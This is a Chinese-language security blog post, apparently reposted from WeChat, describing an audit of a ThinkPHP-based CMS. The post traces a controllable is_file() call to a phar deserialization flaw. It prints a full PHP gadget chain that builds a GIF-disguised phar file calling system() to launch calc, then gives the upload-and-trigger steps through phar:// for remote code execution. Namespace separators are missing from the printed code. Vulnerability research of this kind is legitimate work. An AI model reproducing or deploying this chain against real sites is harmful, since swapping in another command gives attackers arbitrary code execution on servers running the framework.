一、前言
这个依旧是一个学员审计出来的案例,今天拿出来分享一下,这个漏洞是基于phar反序列化的一个漏洞RCE利用方式,我们来查看漏洞点。
二、漏洞分析
首先这个代码是一个ThinkPHP框架开发的一个项目,在代码当中可以看到第110行代码当中存在一个is_file方法,这个方法是进行判断xx文件是否存在。
刚好is_file方法是能够触发我们的phar反序列化漏洞
Get()函数代码110行is_file函数中$filename参数可控,而is_file函数又在get()函数中。
继续寻找read方法查看哪里调用。
函数file_info()在代码108行调用了read()函数,继续查看哪里调用file_info。
好,全程是可控的,并且代码是TP开发的框架,我们从网上找到对应的反序列化链子,这里链子在下面,使用反序列化链生成phar文件,phar文件不会受到文件后缀名的影响,我们生成jpg就可以。
namespace thinkprocesspipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace thinkmodelconcern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "calc");
}
}
}
namespace think {
abstract class Model
{
use modelconcernAttribute;
use modelconcernConversion;
}
}
namespace thinkmodel{
use thinkModel;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new thinkmodelPivot();
$a = new thinkprocesspipesWindows($conver);
$phar = new Phar('hkey.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
生成文件之后我们改名为jpg,进行触发功能点。
三、漏洞利用
生成出来文件
生成出来文件之后改为png图片(改为png主要是方便我们上传)
进行上传。
拿到对应路径之后开始利用。
访问我们审计出来的功能点地址。
抓包修改为phar://上传png图片地址
弹出计算机!
关于phar反序列化,如果大家不懂的可以自行百度了解,还是挺值得分析的。
四、完结
原文始发于微信公众号(进击安全):某CMS源码RCE审计思路
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论